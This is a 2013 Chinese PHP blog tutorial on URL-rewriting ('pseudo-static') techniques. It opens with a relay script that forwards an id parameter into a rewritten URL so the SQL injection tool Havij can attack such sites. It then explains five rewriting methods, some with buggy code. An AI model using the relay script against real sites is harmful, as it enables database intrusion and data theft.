PHP 伪静态技术原理以及突破原理实现介绍


Posted in PHP onJuly 12, 2013

先说实现方法:
inj.php:

<?php 
set_time_limit(10); 
$id=$_GET["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3D",$id); 
$url="http://www.xxx.com/index.php/library/more/id/$id.html"; 
$ch=curl_init(); 
curl_setopt($ch,CURLOPT_URL,"$url"); 
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//启用时将curl_init()获取的信息以文件流的形式返回,而不是直接输出 
curl_setopt($ch,CURLOPT_HEADER,0);//启用时会将头文件的信息作为数据流输出 
$output=curl_exec($ch); 
curl_close($ch); 
print_r($output); 
?>

用wamp搭建一个服务器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1
=============================
PHP伪静态实现方法一(利用Apache 服务器的功能)
1、检查Apache是否支持mod_rewrite
2、让Apache 支持.htaccess
3、建立.htaccess文件
4、规则:
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL长啥样
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如说:www.xx.com/page-18.html
真实的URL如下:
action = page
id = 18
============================
PHP伪静态实现方法二(编码实现)
$Php2Html_FileUrl = $_SERVER["REQUEST_URI"]
echo $Php2Html_FileUrl
例子:// localhost/php100/test.php?id|1@action|2
$Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) )) 
/* 
内层的strrchr出来:/test.php?id|1@action|2 
外层的strrchr出来:id|1@action|2 
内层的str_replace出来:把 / 号去掉,本例子 没有 
外层的str_replace出来:把 ?号去掉,本例子 没有 
*/ 
$Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString); 
/*把str变成以@为界限划分的数组:id|1 和 action|2*/ 
foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr) 
{ 
$Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr); 
/* id => 1 和 action => 2*/ 
$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1]; 
}

============================
PHP伪静态实现方法三(编码实现)
例子: localhost/php100/test.php/1/2
$filename = basename($_SERVER["SCRIPT_NAME"]); 
echo $_SERVER["SCRIPT_NAME"]; 
echo $filename; 
if(strtolower($filename) == 'test.php'){ 
if(!empty($_GET[id])){ 
$id=intval($_GET[id]); 
echo $id; 
$action = intval($_GET[action]); 
echo $action; 
}else{ 
$nav=$_SERVER["REQUEST_URI"]; 
$script=$_SERVER["SRCIPT_NAME"]; 
//这句话应该是把URL前面那段给搞掉。。剩下 "1/2"之类的。。 
$nav=ereg_replace("$script","",urldecode($nav)); 
echo $nav; 
$vars = explode("/",$nav); 
print_r($vars); 
$id=intval($vars[1]); 
$action=intval($vars[2]); 
} 
echo $id.'&'.$action; 
}

============================
PHP伪静态实现方法四(编码实现)
function mod_rewrite(){ 
global $_GET; 
$nav = $_SERVER["REQUEST_URI"]; 
$script_name = $_SERVER["SCRIPT_NAME"] 
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1); 
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html 
$vars=explode("/",$nav); 
print_r($vars); 
for($i=0;$i<count($vars);$i+=2) 
{ 
$_GET[$vars[$i]] = $vars[$i+1]; 
} 
return $_GET; 
}

============================
PHP伪静态实现方法五(编码实现)
例子:/1,100,8630.html
if(preg_match(“/\/(\d+),(\d+),(\d+)\.html/si”,$path_info,$arr_path)){ 
$gid =intval($arr_path[1]); //取得值1 
$sid =intval($arr_path[2]); //取得值100 
$softid =intval($arr_path[3]); //取得值8630 
} 
else 
echo "Path:Error!";

总结下:
(1)伪静态技术比较好突破,需要自己构造中转注入页面。
(2)伪静态技术原理都很简单,就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式。
PHP 相关文章推荐
超小PHP小马小结(方便查找后门的朋友)
May 05 PHP
PHP中空字符串介绍0、null、empty和false之间的关系
Sep 25 PHP
PHP中使用gettext解决国际化问题的例子(i18n)
Jun 13 PHP
跟我学Laravel之请求(Request)的生命周期
Oct 15 PHP
html静态页面调用php文件的方法
Nov 13 PHP
Thinkphp微信公众号支付接口
Aug 04 PHP
php使用PDO事务配合表格读取大量数据插入操作实现方法
Feb 16 PHP
PHP实现将base64编码字符串转换成图片示例
Jun 22 PHP
PHP PDOStatement::errorCode讲解
Jan 31 PHP
php生成随机数/生成随机字符串的方法小结【5种方法】
May 27 PHP
CI框架简单分页类用法示例
Jun 06 PHP
ThinkPhP+Apache+PHPstorm整合框架流程图解
Nov 23 PHP
php的$_FILES的临时储存文件与回收机制实测过程
Jul 12 #PHP
php图像处理函数大全(推荐收藏)
Jul 11 #PHP
PHP 获取远程文件大小的3种解决方法
Jul 11 #PHP
深入Nginx + PHP 缓存详解
Jul 11 #PHP
基于PHP中的常用函数回顾
Jul 11 #PHP
PHP 获取文件权限函数介绍
Jul 11 #PHP
浅析php学习的路线图
Jul 10 #PHP
You might like
用PHP发电子邮件
2006/10/09 PHP
php session劫持和防范的方法
2013/11/12 PHP
PHP简单实现模拟登陆功能示例
2017/09/15 PHP
Extjs Ext.MessageBox.confirm 确认对话框详解
2010/04/02 Javascript
jquery.pagination.js 无刷新分页实现步骤分享
2012/05/23 Javascript
jquery js 重置表单 reset()具体实现代码
2013/08/05 Javascript
js onload处理html页面加载之后的事件
2013/10/30 Javascript
Javascript 按位左移运算符使用介绍(
2014/02/04 Javascript
JavaScript 匿名函数和闭包介绍
2015/04/13 Javascript
JavaScript获取并更改input标签name属性的方法
2015/07/02 Javascript
微信小程序开发之实现选项卡(窗口顶部TabBar)页面切换
2016/11/25 Javascript
Vue.js单向绑定和双向绑定实例分析
2018/08/14 Javascript
JS中实现一个下载进度条及播放进度条的代码
2019/06/10 Javascript
Vue实现附件上传功能
2020/05/28 Javascript
js实现盒子移动动画效果
2020/08/09 Javascript
原生js生成图片验证码
2020/10/11 Javascript
说一说Python logging
2016/04/15 Python
python的格式化输出(format,%)实例详解
2018/06/01 Python
自定义Django Form中choicefield下拉菜单选取数据库内容实例
2020/03/13 Python
Python如何执行精确的浮点数运算
2020/07/31 Python
python如何实现DES加密
2020/09/21 Python
HTML5中的网络存储实现方式
2020/04/28 HTML / CSS
Fanatics法国官网:美国体育电商
2019/08/27 全球购物
牵手50新加坡:专为黄金岁月的单身人士而设的交友网站
2020/08/16 全球购物
css animation配合SVG制作能量流动效果
2021/03/24 HTML / CSS
大学生职业生涯规划书前言
2014/01/09 职场文书
师范类求职信
2014/06/21 职场文书
反四风个人对照检查材料
2014/09/26 职场文书
2014年向国旗敬礼活动方案
2014/09/27 职场文书
买房子个人收入证明
2014/10/12 职场文书
学前班幼儿评语大全
2014/12/29 职场文书
廉洁自律承诺书2015
2015/01/22 职场文书
公司市场部岗位职责
2015/04/15 职场文书
PHP对接阿里云虚拟号的实现(号码隐私保护)
2021/04/06 PHP
详解Go语言中配置文件使用与日志配置
2022/06/01 Golang
nginx之queue的具体使用
2022/06/28 Servers